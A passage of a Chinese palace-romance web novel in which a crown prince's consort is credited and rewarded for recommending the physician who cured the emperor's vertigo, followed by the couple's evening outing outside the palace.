“关心陛下就是想方设法不让陛下用可能有法子治好其眩疾的大夫?
就是要中伤养育了皇孙的东宫良娣与宫外的人有不清不楚的关系?”
“你们好大的胆子!”
“陛下称道宋良娣侍奉太子、诞育皇孙有功,你们却不分青红皂白诬陷她与外人存着见不得人的关系。
就你们方才那番言论,本宫治你们个诬告皇族,离间天家骨肉的罪都够了!”
“魏嫔你再多一句嘴试试。”
魏嫔不敢试,其他人更不敢,齐齐起身离开座位行至屋中间行礼谢罪。
裴皇后:“关心光嘴上说说算什么,都回去抄经为陛下祈福,陛下什么时候好了你们什么时候就不用抄了。”
说完,头也不回地进了内室。
留下一众人面面相觑,最后各怀心思地走了。
确定人都走了,裴皇后才长长叹出口气。
这段日子为了元隆帝的病她也是操心不少,眼下出了个可能将其治好的人。
裴皇后自然也抱着一丝希望。
但……
“太子的胆子未免太大,一个进了太医院连病都没怎么正式看过的医吏。
他自己都对其不甚了解就敢向陛下举荐,也不事先与我商量再行事。”
冯嬷嬷替她捏着肩。
笑道:“殿下也是关心陛下,岭南虽地偏多瘴,但换个角度想,能在那边做大夫没点真本事还真是不行。
那位秦医吏若真能治好陛下,殿下早一日举荐,陛下就能少受一日的罪,您也不用再愁得夜里睡不着了。”
“再者说殿下也大了,以后需得他自己做决定的事还多着呢,您若事事都操心,哪操心得过来呢。”
裴皇后笑了一声。
“理是这么个理儿,但为人父母的……罢,现在说这些也没用,还不如盼着那医吏真有妙手回春之能。”
至于这件事与小良娣有没有关系,不论好坏,等最后结果出来就知道了。
虽说知道今天后宫不会太平,可槛儿没寻借口让小福子去东宫外面打探消息。
事实上也不需要特意去外面跑一趟。
后宅里每天都有去内务府办事的人,后宫有什么风吹草动他们都能带回来。
小福子还是听别人向他打听,那位秦医吏是不是真治好了瑛姑姑的病。
才得知他们主子竟然就这么神不知鬼不觉地跟陛下的病扯上了关系!
小伙子受惊不小。
一路踩着风火轮到了槛儿跟前。
把后宫妃嫔对宋良娣的怀疑,以及要求皇后娘娘召宋良娣去问话,最后被娘娘轰走的事一股脑儿说了。
完了战战兢兢地问:“主子,咱没事儿吧?”
喜雨一巴掌拍他后脑勺上,“什么有事儿没事儿,会不会说话?晦气不晦气?”
话虽如此。
寒酥、跳珠以及她其实心里也挺没底的。
三月里瑛姑姑眩晕的老毛病发作,之后一直在吃药调理,找那位秦医吏看病的事瑛姑姑也没瞒着他们。
包括这期间瑛姑姑的病情具体怎么样,住在后罩房的宫人都清楚。
昨儿白天瑛姑姑还当着他们的面跟主子说,她现在身子感觉如何如何好。
喜雨几个当家常听了,也替姑姑高兴。
结果就一个晚上的功夫,那位秦医吏居然就被太子举荐到陛下跟前去了!
这种情况,便是他们也会猜这件事会不会跟自家良娣主子有关啊。
秦医吏的事,槛儿连瑛姑姑都没说太明白,自然更不会跟跳珠他们说。
且适当地保持紧张感,也是做戏的一环节。
因此听了小福子的话槛儿没像以前那样安他们的心,神情凝重地沉默了会儿。
她才道:“能让陛下留下,说明秦医吏医术确实不差,但结果如何就不是我们能议论的了,先等着吧。
不管外面的人怎么议论,我们院里的人出去了万不能参与口舌纷争,若不然传出去没事也变成有事了。”
跳珠等人明白了,这就下去敲打其他人。
.
元隆帝先按秦守淳的托颅复位法治了三天。
期间仰头、扭头、翻身时引起的眩晕状态逐渐减轻,三日后完全消失。
元隆帝下令。
特晋秦守淳为太医,参与之后的治疗,其有任何意见御医们皆不得忽视。
为此,其他御医当然有不满。
想暗中整秦守淳的人也不止一个,但有锦衣卫全程盯着,倒是没出什么事。
秦守淳自己也争气。
他在太医院被排挤了十多年,却是心情坚韧,并没有因此而唯唯诺诺。
非但敢做敢言,还心细如发,通世故而不世故,这一点和莫院判很相似。
也因此,早先御医为求稳妥而用的温吞疗法,秦守淳只采用了一半。
元隆帝按他的法子昼服理髓汤夜用安髓散,又过三日,彻底不呕不吐。
第七日,能下榻加以五禽戏辅助治疗。
第十五日,晚上的那顿药停了,元隆帝能与大臣议政,耳风症亦未再复发。
第二十日,元隆帝行走跑跳自如。
第二十五日,所有病症完全消失。
第203章 太子道槛儿引荐实情,你打算如何赏宋氏?
此时正是六月二十五,刚立秋,照往年惯例,只差五天就该是万寿节的。
然而因着元隆帝的病是五月初发的,期间有半个多月直接站立无能。
所以即便那时候礼部和鸿胪寺就在筹备万寿节了,元隆帝也下旨停办了。
事实证明他这旨下得正好。
因为据秦守淳所言,耳风症与虚邪中络证齐发就算治好了也需得时间静养。
而眼下离万寿节只有五天,这么短的时间根本不足以用来病后保养。
所以今年的万寿节是注定办不了的,群臣及藩王、番邦使节们上贺表即可。
宫里当天晚上只办一场小型家宴,如此既省事又避免了人多吵到皇帝。
而随着元隆帝的病情好转至痊愈,前朝后宫也一改之前的低迷气氛。
宫人们当差的劲头堪比过年,各宫的贵人主子们出门在外脸上也敢带笑了。
众人似乎全然忘了,当初他们是如何反对秦医吏给元隆帝治病的。
全然忘了是怎么猜忌东宫宋良娣的了。
当然有的也不是忘了。
而是他们仍打从心底瞧不上秦守淳,认为他能治好元隆帝不过是凑巧。
说难听些就是瞎猫撞上死耗子。
如此,即便秦守淳和槛儿有关联,他们也只会觉得槛儿这次也是撞了大运。
相应的这些人也不会为之前曾猜忌槛儿,而觉得愧疚或是尴尬什么的。
不过不管外人怎么想。
骆峋始终没忘秦守淳是槛儿从三月中旬就开始布局,引荐给他的。
所以,六月二十五傍晚。
等已从太医晋升为御医的秦守淳为元隆帝诊完平安脉,跟其他两位御医走了。
骆峋仍留在乾元殿。
他这一个月经常陪元隆帝用晚膳,夜里也常常守到很晚才回东宫。
乾元殿的宫人便以为太子殿下今晚也只是单纯要留下陪陛下用晚膳。
于是很快,一桌既适合养病的皇帝用,又适合陪同的太子爷用的膳就摆好了。
膳罢,太子仍没有要走的意思。
随皇帝去了书房。
宫人们便又熟稔地为父子俩奉上茶,再自觉退出去,立在外头当柱子。
元隆帝随手扔给儿子几本奏折,骆峋拿到临窗的罗汉床上的小几上去看。
约莫过了半个时辰。
元隆帝搁下笔起身活动筋骨,顺便道:“朕没事了,用不着你再过来陪用膳。
这阵子你也累得不轻,放你三天假,好好歇一阵吧,回去陪陪曜哥儿。”
“说起来,小东西快半岁了吧?”
骆峋:“差二十天半岁。”
元隆帝想到壮实可爱的孙子,脸上露出笑来,“有一阵子没见了,也不知小家伙怎么样了,可是又胖了。”
骆峋对答如流:“前日称重二十三斤三两,身长三尺一寸二厘。”
元隆帝:“……”
元隆帝有那么一点儿意味深长道:“不错,你这个爹当得比朕这个老子称职。”
骆峋:“父皇当初日理万机。”
元隆帝做了个让他打住的手势,“回吧,万寿节那晚把曜哥儿带来我瞧瞧。”
骆峋没动。
有那么点儿欲言又止的意思。
这倒稀奇了。
元隆帝挑了一下眉,好整以暇地睨着他。
也没说话,就这么睨着。
骆峋与父皇对视,遂撩袍而跪,沉声道:“儿臣有罪,请父皇降罪。”
元隆帝:“何罪之有?”
骆峋垂首道:“儿臣荐秦守淳时曾言,是自己无意间听儿臣妾宋氏与其奴仆交谈。
得知秦守淳此人,故生出试探对方,举荐对方为父皇治疾之意,实则不然。”
“儿臣未曾听宋氏主仆交谈,会得知秦守淳,实乃宋氏见其治愈了其忠仆旧疾,猜测此人或有些本事。
盼陛下早日病愈,宋氏斗胆向儿臣提起此人,方有儿臣连夜试探秦守淳一事,儿臣欺君犯上请父皇降罪。”
说罢,端端正正俯身叩首。
元隆帝冷哼了声,旋即神色变得凌厉肃然。
“你明知欺君,为何要故犯?
是怕那秦守淳将朕医出个好歹来,朕怪罪到她头上,还是怕朕得知人是其一介妇人所荐便不用秦守淳?”
“两者皆有。”
骆峋额头触地道。
“宋氏所为忠心可鉴,然做下决定之人乃儿臣,试探秦守淳也为儿臣。
若其诊治不尽人意,论罪责当以儿臣主担,儿臣也不想错过任何一个可治愈父皇的机会,故有所隐瞒。”
“那现在为何不瞒了?”元隆帝问。
骆峋:“儿臣当初匿宋氏荐医之功,是恐万一有失,累及无辜,此乃不罚善之过。
今父皇龙体得以治愈,非儿臣一人之功,若不言,恐伤父皇用贤之道。”
不得不说,太子是会说话的。
一句“不罚善之过”表明了,他认为因善意而犯的错不该受罚的大义。
一句“恐伤陛下用人之道”,又表明了他坦白槛儿的功劳意在全君父知人用贤之道的一片孝心。
元隆帝似笑非笑。
“说得好听,真不是为了护着你那妾?”
骆峋抬头迎向帝王审视的眼神,坦然道:“为夫主者,护家眷乃本责。”
“好一个夫主护家眷乃本责。”
元隆帝笑了。
其实他早知儿子秉性正直。
有此一问不过存了试探之意,也想看看他是不是被美人迷昏了头。
能有条有理地说出这样一番话,可见人是清醒的。
“你都这么说了,朕若再追究你的罪责,岂不成用人不贤的昏君了?”
“儿臣不敢。”
“起来吧,有功而不赏,则善不劝,你那妾的功朕记下了,你可先替朕赏她。”
骆峋叩首谢恩。
元隆帝要撵儿子走,但在那之前他多余问了一句:“你打算如何赏宋氏?”
第204章 太子爷的出格,“随孤出宫,可愿?”
“别急,小主子别急,啊!坐起来了!主子您看,小主子自己坐起来啦!”
永煦院,正房东次间里。
喜雨趴在铺了青藤簟的炕上,震惊地看着自己吭哧吭哧坐起来的小皇孙。
时下养孩子,基本讲究“三翻六坐、七滚八爬、九立、周会走”的规律。
也就是三个月翻身,六个月能自己撑着床榻短时间坐着,等到七个月的时候则能不借助外力连续翻滚。
八个月时则能到处爬,九个月站立,满周岁便能自己扶着东西走了。
当然,这些是自古以来人们从大部分孩子成长经历中,总结出来的经验。
并不是所有孩子都是这样的。
像是有的孩子不到三个月就能翻身,能双手撑在床上抬头四处看,五个月就能自己翻身坐起来了。
反之也有那四五个月不怎么会翻身,到七八个月才差不多能坐起来的。
前者并不见得就是孩子有多聪明,后者也不见得就是个蠢笨的。
不过是个别体质不同罢了。
而在槛儿看来,曜哥儿显然属于前者。
这小家伙刚满三个月时就喜欢趴在榻上,像只小蛤蟆似的不停地划动手脚。
也不知他一天哪来那么多精力。
就这么划拉着划拉着。
眼看离四个月还差几天,他居然就能在炕上趴着蹭蹭着去抓东西了!
虽说早知道这家伙是个小人精,可槛儿上辈子毕竟没遇上过这种情况。
免不得就担心他这样过早地活动过多,会不会影响到骨头生长什么的。
为此,槛儿又请了太医来给曜哥儿看。
结果表示她想多了。
这家伙简直不要太康健!
于是之后槛儿索性也就由着他想怎样便怎样了,反正他身边有四个奶娘看着,还有那么多小宫女哄着。
另外周嬷嬷现在也负责专门照看他,总不至于让小家伙摔着磕着。
眼下曜哥儿五个月零十天,但他要坐起来的苗头却是刚五个月时就有了。
那段时间他成日里撅着小屁股咕蛹,今天可算是让他给咕蛹起来了。
虽然摇摇晃晃的,也必须得两手撑着炕,没多会儿就又倒了下去。
但到底能短暂地坐起来了不是?
槛儿捏捏儿子撑在炕上继续咕蛹的小胳膊。
好笑地问:“你说你这么着急做什么?你才这么大点儿,慢慢长呀。”
曜哥儿穿着件朱红色的无袖连裆衫,胸前绣着小老虎,裤腿儿是灯笼样式的。
露在外面的两条小胳膊胖嘟嘟一节一节的,捏起来手感软嫩细滑。
“啊噗!”
曜哥儿撑在藤簟上,小嘴儿一咧露出下牙床两颗米粒大小的牙包包。
娘觉得他长得快。
曜哥儿却觉得自己长得太慢了。
早先不是只能被奶娘抱着,就是只能平躺着,看什么也都是模模糊糊。
加上身体小体力不济,曜哥儿多数时间只能睡觉,好在后来渐渐好了。
他的手脚、脖子都有了力气。
曜哥儿便不想平躺着了,一个姿势躺久了会焦躁,所以他开始各种动。
从翻身到爬,再到现在坐起来。
曜哥儿颇有成就感。
也更期待能站起来,能走路了。
不过,现今最让曜哥儿高兴的,是他能看清东西,关键能看清娘和父王了!
虽然远点的还是看不清,但那暂时不重要,重要的是能看清眼前的人和东西。
看清娘和父王的曜哥儿就觉得娘果然和前世一样美,不对,是比前世更美!
至于父王。
说实话,曜哥儿刚开始挺不习惯的。
毕竟前世最后的那些年他和父皇四处奔波,最熟悉的便是满头白发,胡须也是白的,老老的皱皱的父皇。
现在父皇变回了父王,不老不皱这么好看,曜哥儿有种不切实际之感。
不过,想到前世父皇临终前的枯朽模样,曜哥儿又觉得现在这样挺好。
虽然他暂时不清楚为什么他的这辈子里,娘和父王的变化都这么大。
可娘活得舒心,父王性情也软和了很多。
两人的感情这般好,曾经堵在曜哥儿心口的悲伤和难过似乎彻底消散了。
曜哥儿希望。
这辈子的娘和父王能一直幸福下去。
“你们看,咱主子太好看了,小主子都给看呆了,”喜雨笑着打趣道。
曜哥儿被打趣也没觉得窘,摇摇晃晃地冲槛儿使劲拍小手,边拍边笑。
一副赞成喜雨的话的模样。
“真是个小人精。”
槛儿刮儿子的鼻子,宠溺道。
曜哥儿顺势一把抱住娘的手,小身子往前栽,明显是要娘亲抱。
槛儿便把小家伙捞过来。
曜哥儿刚抱住娘的脖子,就看到一道高大的身影绕过落地罩走了过来。
“哒哒!哒!”
小家伙挥动胳膊。
槛儿扭头,寒酥她们也齐齐看过去,随即各自放下手里的东西行礼。
“还没睡?”
骆峋走近,捏捏儿子挥动的小胖手。
曜哥儿重重点头。
“唔姆!”
他显然低估了自己现在的体重和块头,突然这么猛地一下大动作,连带着槛儿的上半身都跟着晃了晃。
奶娘熟练地箭步上前扶着小皇孙的背。
“看吧,娘都快抱不住你了,”槛儿在小家伙的屁股上拍了一下。
曜哥儿一点儿不含糊。
直接朝爹伸手,娘抱不住那就爹抱。
太子爷如今抱孩子也不像刚开始那般生疏别扭了,也是儿子骨头硬了不少。
他下手不必像之前那般小心翼翼。
曜哥儿到了爹爹怀里,一手抓着爹爹的肩头,侧着小身子笑着对娘哇呜。
槛儿捏着他的小手晃,“爹爹在外忙了一天很累,也抱不动曜哥儿了怎么办?”
曜哥儿扭头看他爹。
骆峋也侧首看儿子,两双相似的凤眼对视。
静默一瞬。
曜哥儿咂吧着嘴:“哒咿呜。”
爹娘听不懂。
等太子落座。
槛儿与他说了曜哥儿刚刚自己坐起来了,骆峋便将儿子往炕上一放。
曜哥儿手脚划拉着翻个身。
再撅起小屁股吭哧着咕蛹。
咕蛹了有半刻钟,总算再度让他坐起来了。
可给他累得不轻。
手撑在炕上喘着气,小胸脯一鼓一鼓的。
槛儿连声哄“辛苦了”,拿装了温水的哺瓶扶着他的背给他喂水喝。
喝完没多会儿,曜哥儿打起了哈欠。
时候也不早了,槛儿让奶娘将其回了东厢,她与太子也准备就寝。
近两个月因着元隆帝的病和朝中的事,太子连后院都没来过几回。
自然也就不存在行那事。
今天御医称元隆帝病愈,接下来只需要静养,好消息前朝后宫人尽皆知。
槛儿把心彻底放回了肚里,骆峋脸上没表现,却是实打实放松了紧绷的弦。
于是两人今晚实实在在放纵了一回,连着两场罢,都像是从水里捞起来的。
太子的心情似乎格外好。
这辈子目前从来只会在床榻上行事的他,今晚竟出格地将槛儿抱下榻。
挪开放在柜几上的灯,扯来毯子铺上。
槛儿只觉整个人如置身熊熊火海,焰浪滚滚,空气中尘埃碎屑翩翩。
骆峋拭去她眼角的泪。
幽暗的眸底倒映着一片靡艳之景。
有汗珠沿着他俊美的脸庞滚落,再顺着下颌,经脖颈、喉结一路往下。
明明清减了不少,可那宽阔结实的肩背依旧,那健硕精壮的胸腹上肌肉贲张宛如刚出笼的猛兽肆意张狂。
槛儿在他铁锁般的臂弯接连溃败。
心跳如擂鼓。
鼻息间有他身上的香,也有她的。
暴风雨将歇未歇,槛儿终究没撑住,搂着太子的脖颈在他耳畔抽泣。
“您收了神通吧,妾身一介凡人之躯……”
骆峋笑出了声,低哑的嗓音像清冷玉石上裹着一层沙砾,缓慢地摩擦碾压。
伴随他沉沉的呼吸。
槛儿耳根子发麻,收紧双臂。
骆峋低头,捧着她的脸亲她的眼睛,亲她红润润的脸蛋和娇艳欲滴的唇。
槛儿力竭,任他有一下没一下地亲着。
自打两人开始偷摸着用如意袋,结束后的沐浴便没再让人侍候。
待下面的人备好水退下,骆峋抱着槛儿从帐中出来,两人进了一间浴房。
在浴间的榻上缓了会儿,太子爷将毯子盖在槛儿身上,自己去处理如意袋。
槛儿裹着小毯子一抬眼。
视线狠狠被灼了一下。
她忙闭上眼,只当什么也没看见。
从浴间出来,卧房已焕然一新,窗户开着,空气中弥漫着清新雅致的香。
槛儿被熏得昏昏欲睡。
这时,身旁的人忽然开口:“孤已告知陛下,秦守淳乃你引荐与孤的。”
槛儿懵了懵,旋即猛地清醒。
“您说了?陛下可是怪罪您了?”
问完没等他应声,她忽地坐起来,正色道:“您不说也没什么的,横竖我只是知道了这么个人再转述给您。
根本算不得什么事,真正为陛下的病忙的人是您和秦御医,您现在告诉陛下这事,岂不成欺君罔上了?”
说完槛儿才反应过来,从太子今晚的兴致来看,元隆帝该是没降罪于他。
骆峋拉她躺下。
“没有你的引荐便无孤与秦守淳接下来的事,陛下的病也不会这么快治愈,陛下说了,你有功,当赏。”
槛儿:“陛下没有怪罪您吗?”
“没有。”
槛儿像似松了口气。
骆峋问她:“可有何想要的?”
别说。
槛儿一时半会儿真想不到。
“孤想到一赏,不知是否合你的心意。”
槛儿仰头看他。
骆峋:“后日晚,与孤出宫一游。”
“可愿?”
第205章 曜哥儿的怀疑,东宫良娣宋氏功在社稷
主子明晚要和太子出宫?!
寒酥、跳珠、喜雨,甚至是瑛姑姑。
都在听槛儿的话后露出了前所未有的震惊之态,不敢相信自己听到了什么。
常言一入宫门深似海。
这话可不是说说而已。
整个后宫,但凡入了宫的女子,除了熬到二十五岁被放出宫的宫女。
其余基本一辈子就耗在宫里了。
就说后宫那些个贵人主子们,别说出宫赏游,便是连娘家都无缘再回。
运气稍微好些的出身不差,又在宫里混出了个名堂,有机会参加宫宴。
或是得皇帝宠爱特许,如此好歹还能偶尔跟娘家的人见见面说说话。
相反没有个好家世。
自己在宫里也没混出个名堂的,那就几乎是一辈子跟娘家人无缘再见了。
出宫?
怕是做梦都不敢做这么好的。
但她们现在听到了什么?
太子明天晚上要带她们家主子出宫!
虽说是因为主子引荐那位秦御医有功吧,可还是很让人不可思议啊!
确实是不可思议。
别说瑛姑姑她们,就连槛儿昨晚听太子说这话时也好一会儿没回过神来。
毕竟上辈子她八九岁就进了宫,到死拢共在宫里待了将近五十年。
五十年啊。
期间倒是偶尔会随庆昭帝去行宫避暑,或是去京郊的天寿山狩猎。
可那时候路上她们这些女眷都是坐在轿辇里,丝毫露面的机会都没有。
说白了不过是换个地方游园,认真说起来是没有任何机会接触宫外事物的。
大抵习惯了吧。
也或许是早就做好了心理准备。
所以槛儿前世从没对宫外的事物抱有任何期待跟幻想,只要不去想。
只要一开始就不存着希望。
她就不会去羡慕,去渴望,才不会失望。
不会觉得日子难过。
槛儿懂得知足常乐,也容易满足。
她常想自己当初入宫签的就是死契。
比起做一辈子奴婢。
她能有庆昭帝的宠爱,能锦衣玉食。
已经比天底下许许多多的人过得好太多太多了,她总不能既要又要。
贪多嚼不烂。
为曜哥儿报仇,跟郑氏撕破脸之前槛儿是这么想的,之后也是这么想的。
所以她从没想过自己会有出宫玩的一天。
也因此昨晚听太子说带她出宫一事他请示过元隆帝,是元隆帝特许了的时。
槛儿很没出息地湿了眼。
五十年,两辈子……
太子当时问她作何哭,槛儿只说她高兴。
是高兴的。
太子之后便没再说话,只将她捞到身上抱着,槛儿就当他信了她的话。
毕竟在太子看来,她入宫有些年头了,得知能出宫喜极而泣完全在情理之中。
“好啦,这事儿暂时咱屋里的人知道就行了,等明天我去回了娘娘的话,下午收拾的时候再跟小福子他们说。”
槛儿没掩饰脸上的高兴,但也没忘叮嘱道。
之后也想起另一件事。
“瑛姑姑,引荐秦御医这件事上你有功,你收拾收拾回前院来吧。”
连着两件好事,瑛姑姑笑得合不拢嘴。
跳珠她们还没从槛儿要出宫玩这件事中平复下来,闻言就忙不迭问起引荐秦御医这件事究竟怎么回事。
她们啥都不知道啊。
槛儿自然不会跟她们说实情,便还是把对太子的那套说辞同她们说了。
总之就是看秦御医当初治好了瑛姑姑,便抱着试试的心态跟太子提了一嘴。
“就这样?”
跳珠眼珠子瞪得溜圆,惊讶道。
槛儿:“就这样。”
跳珠半天没合上嘴。
喜雨围着槛儿由衷地拍了一串马屁,寒酥则暗叹良娣主子真有魄力。
事关陛下龙体,居然就这么向太子提了。
关键太子真信了。
她们在这边感叹唏嘘着,一旁玩玩具的曜哥儿小脑瓜里一头雾水。
秦守淳秦御医这个人他知道,他爹登基后用的御医里就有这么一个人。
可前世这时候皇祖父生病,治好皇祖父的这人也是娘向爹引荐的吗?
不对吧。
他怎么记得前世秦御医和父皇好像有过一次谈话,其中有提到过莫院判对此人有知遇之恩呢?
那时莫院判早亡故了。
可既是知遇之恩,就说明秦守淳能成为御医该是受莫院判赏识才有的机会。
然而这辈子却是娘向爹引荐的秦御医……
曜哥儿拨弄着面前的瓷铃球,乌溜溜的眼睛看着和跳珠她们说话的娘。
“曜哥儿这么看着娘做什么?”
槛儿扭头,对上儿子清澈的眼睛,笑着将小家伙捞过来抱到膝上。
虽说槛儿自己便是重生的,又听太子说过姜侧妃那般人物的身世。
但毕竟这样的事在她的认知里很少,且前世的曜哥儿比她早走几十年。
所以就算儿子是个小人精,槛儿也没往小家伙可能也重生了这方面想。
自然不会觉得儿子能听懂她们的话。
曜哥儿也当然不会回答娘的问题,就算他能说话,他也不会问娘什么。
干脆捏着小球球傻笑。
笑着笑着,他转头看向厅堂方向。
槛儿跟着看过去,没发现什么。
正打算收回视线,门外响起了小福子的声音:“主子!主子有圣旨!”
槛儿没将曜哥儿往外看的那一眼放在心上,闻言将儿子交给奶娘,迅速整理一番仪容疾步迎出去。
来的是早年来宣晋封槛儿为良娣的圣旨的郝太监,“宋良娣大喜。”
等槛儿和院里一众人跪下。
郝太监展开圣旨,圣旨的内容正是槛儿向太子引荐秦御医这件事。
大致便是东宫良娣宋氏慧眼识真,忠勤体国,荐良医愈朕疾,功在社稷。
然后是一连串赏赐。
等送走了郝太监,小福子等人又是惊又是喜,围着槛儿叽叽喳喳就说开了。
自是少不了一通赏。
这阵子热闹罢,槛儿接收到瑛姑姑的眼神,两人前后进了卧房暖阁。
银竹在外面守着。
瑛姑姑同槛儿坐在一处,声音压得极低。
“主子您究竟是怎么知道秦医吏……不对,是秦御医这号人物的?”
她可真是太好奇了。
槛儿没有机会接触到太医院的人,这一点瑛姑姑是绝对能肯定的。
可不认识,又怎知道有这么个人呢?
第206章 槛儿出宫!太子:大庭广众之下成何体统。
槛儿料到瑛姑姑会问,可惜就算她信任瑛姑姑,这件事也绝不能说出真相。
槛儿便道:“事关圣上与东宫,多一事不如少一事,姑姑便当是巧合吧。”
话既这么说,瑛姑姑心里也算是有了底,于是她几乎没怎么犹豫就应下了。
与此同时。
随着郝太监带着人呼啦啦地进了永煦院,再呼啦啦地领着人离开。
不消一刻钟。
整个后院里的人就都知道了,原来治好陛下眩疾的那名御医是宋良娣引荐给太子,太子再向陛下举荐的!
当然,在此之前后院的人早听说了那人曾治好过宋良娣身边的管事姑姑。
一定程度上也是和宋良娣有关,那段时间他们之中也不少人跟后宫里的有些人一样,心里诸多猜测。
可眼见一个多月过去,随着陛下的病逐渐治愈,
大伙儿更多关注的是陛下病愈,他们这些底下的人就不用再担惊受怕了。
顺便唏嘘两句那岭南出身的医吏运气真好,还真让他给治好了。
至于宋良娣,大伙儿这时候压根儿就没在意她跟医吏究竟有没有什么关系了。
哪知就在这时,陛下的圣旨来了!
好家伙。
原来宋良娣不声不响干了这么件大事!
荐人治好了皇帝的龙体,可不就是有功于社稷吗,这得是多大的功劳啊。
消息一传十,十传百。
先是整个东宫的人知道了,再是后宫,前朝内阁,六部衙署等地的人。
都知道了!
倒不是元隆帝或是太子故意做出这般声势,而是人多的地方就是这样。
于是前朝那帮子人的心情就复杂了。
本来光是秦守淳治好元隆帝这一件事,就打了朝中不少人的脸。
不过皇帝龙体康健,于他们和江山社稷都是好事,他们倒也能自圆其说。
可那人是东宫的良娣引荐的,关键太子还说了实话,元隆帝还下旨赏赐了。
这就让他们的老脸绷不住了。
毕竟这些人中看不起后宅妇人的男人大有人在,妇人不得插手男人的事,是他们历来墨守成规的事。
宋良娣引荐人给皇帝看病,在这些人看来俨然就是妇人插手了前朝之事。
尤其事情还让她给办成了!
他们就觉得脸上火辣辣的,免不得恼羞成怒,觉得太子过于耽于后宅。
听信一介妇人之言就罢。
还将这般的功劳也让其揽了去。
这么想的不仅有当初反对秦守淳给元隆帝看病的人,还有太子一系的。
后者则更偏向于功劳落到了槛儿身上,认为太子不该对元隆帝如实相告。
不过他们这种想法并没持续多久。
因为到底还是有明白人,觉得太子此举勇于担责又不贪功,更显其仁德。
而元隆帝能用秦守淳,又下旨奖赏宋良娣,亦彰显其用人以贤的明君之道。
如此一来,太子便是全了忠孝义。
且宋良娣是东宫的人,荐人也是为帮太子,于他们而言亦是一大助力。
凡事以利益为先,大抵便是如此。
自是有其他立场的人想弹劾太子蔽聪塞明,允后宅妇人干政。
可惜事关皇帝的龙体,这般弹劾不就等于是不想元隆帝的病被治好?
别说太子一系抓着这一把柄把人喷得狗血淋头,便是元隆帝听了也发了火。
骂那人想他死,其心可诛。
最后为杀鸡儆猴赏了那人一顿板子,至此,前朝就这么安静下来了。
消息传到后宫,就算有人心里不平衡,面上也没有谁再敢表现出来。
这件事就这么消停了。
六月二十七日下午,临近酉时。
寒酥四个大宫女围着槛儿忙忙碌碌,一个个笑得堪比过年拿了双倍赏钱。
骆峋从外面进来,正逢槛儿刚打扮好。
便见她穿了身桃粉绣落花游鱼纹的对襟夏衫,下配蝶戏山茶软罗百迭裙,蝶鬓髻上两根样式简单的金珠银钗。
耳上戴了银嵌玉的素坠,未施粉黛,乍一眼与寻常大户人家刚新婚的小妇人无异。
“殿下。”
看见立在屏风一侧的男人,槛儿迎过来,亮晶晶的眸子毫不掩饰地往他身上打量。
“果然俊的人穿什么都好看,看得我都嫉妒了,回头我往您身边一站,别人会不会当我是少爷的丫鬟呢?”
纯粹瞎扯呢。
也不看她那一身虽比平日里素了不少,可衣裳跟首饰的用料却都是极好的。
尤其她通身的仪态与那张宛若牡丹的美人面,和丫鬟半点不沾边。
骆峋知道她在胡言乱语,并不搭理这话,一本正经地问:“收拾好了?”
槛儿也不在意他的冷脸:“嗯!路上喝的水也备了,还有几样小点心。”
他们还没用晚膳。
打算去了外面再用,已经定好了地方,就在隶属于教坊司管辖的津馔楼。
今晚锦衣卫会全程随行护卫。
曜哥儿还太小,不能带出去。
槛儿临走前过来看他,哄了两句。
曜哥儿对出去玩不感兴趣,假装玩小木鹿玩得不亦乐乎,抬起小胖手推娘走。
一刻钟后。
槛儿与太子在西华门下了轿辇,不远处停着一辆不显奢华的朱漆马车。
车门开着,两名身穿便装的锦衣卫正撩着帘子。
骆峋先上车。
槛儿踩上矮凳,银竹在旁边搀着她。
这时,一只大掌伸到槛儿眼前,她抬头,对上男人波澜不惊的凤眼。
槛儿笑了笑,由他拉着上了马车。
银竹和扮成小厮的袁宝坐在车厢后面的尾板上,锦衣卫乔装的车夫甩动缰绳,马车朝宫门方向徐徐跑起来。
夕阳西下。
晚霞似一匹匹上等绸缎四散开,不远处湖面波光粼粼,岸边垂柳依依。
有晚风拂过,惊起一行白鹭飞向天空。
车厢靠近门口角落的地方搁着一个超小型冰鉴,丝丝缕缕的凉气在车内漫开,倒是不叫人觉得热。
不过越是如此,也就越衬得从窗帘处随风渗进来的那丝暑气更为明显。
骆峋端坐在位置上侧首去看槛儿,见她双颊红扑扑的,鼻尖也渗着汗。
他展开折扇替她扇了扇。
“可要再添冰?”
槛儿拿起团扇晃了两下,“不热,您热吗?”
骆峋的视线落到她鼻尖。
槛儿用手帕擦了擦,眉开眼笑的:“我不是身子热,是心热,心热您懂吗?”
骆峋想带她出宫这一想法不是前日临时起意,是她生辰那日,他去衔福楼给她买生辰礼时便有的想法。
原也是为让她欢喜才有此意,她能这般心潮澎湃,骆峋乐见其成。
只他素来不习惯将这些心思宣之于口。
前晚槛儿问他怎生想到要带她出宫玩,他也用奖赏搪塞过去了。
此时也一样。
马车两侧车壁上各有一盏琉璃灯,衬得槛儿目光灼灼,骆峋与她对视一眼。
遂收回目光,矜持地“嗯”了一声。
槛儿没错过他眼底一闪而过的笑意,她跟着一笑,扑过来一把抱住他。
骆峋听着车外随行锦衣卫的脚步声和车轮辚辚的声音,俊脸绷了绷。
“你庄重些,大庭广众之下成何体统。”
话虽如此,他习惯性放在槛儿肩头的那只手倒没有将人推开的迹象。
第207章 “六爷,等等妾身!”骆六爷:“……”
槛儿左手搭在他的右肩上半环着他,饶有兴致地问:“您以前出宫玩过吗?”
骆峋:“嗯,幼时陛下曾带孤出宫游玩。”
说游玩其实也不尽然。
更多的是带他体验天子脚下的百姓生活,通过路上所见所闻给他讲道理,亦或是考校他功课学得如何。
当时老五、老七、老八也在。
他们想玩父皇会派人陪他们玩去,他则从始至终与父皇走在一道。
不过许是从小就清楚自己的身份,骆峋倒没觉得有何可不甘或遗憾的。
“听您之前说您当差偶尔会出宫巡视,那时候您会顺便在街上逛逛吗?”
槛儿假装不懂地问。
骆峋:“不会,当差不可怠职。”
“那今晚您会陪妾身逛吗?”槛儿望着他,眼里声音里似满含甜蜜。
骆峋垂眸睇着她。
须臾,他拿指尖在她睫毛上碰了碰,“嗯。”
槛儿就笑得宛如一只吃到鱼的小猫,直起身在他下巴上亲了一口,然后在太子爷让她庄重前松开他。
转身从左侧临窗的悬挂式小几上,端来一碟事先切成小块儿的薄荷糕,用银叉叉起一块喂到太子嘴边。
骆峋张嘴吃了,遂看她自己也叉了一块儿,不多时打算喂他第二块。
骆峋顿了顿,从她手中拿过银叉。
槛儿还当他要自己吃,也没多想。
哪知她刚咽下嘴里的东西,太子爷就叉了糕点喂过来,神色一贯的古井无波。
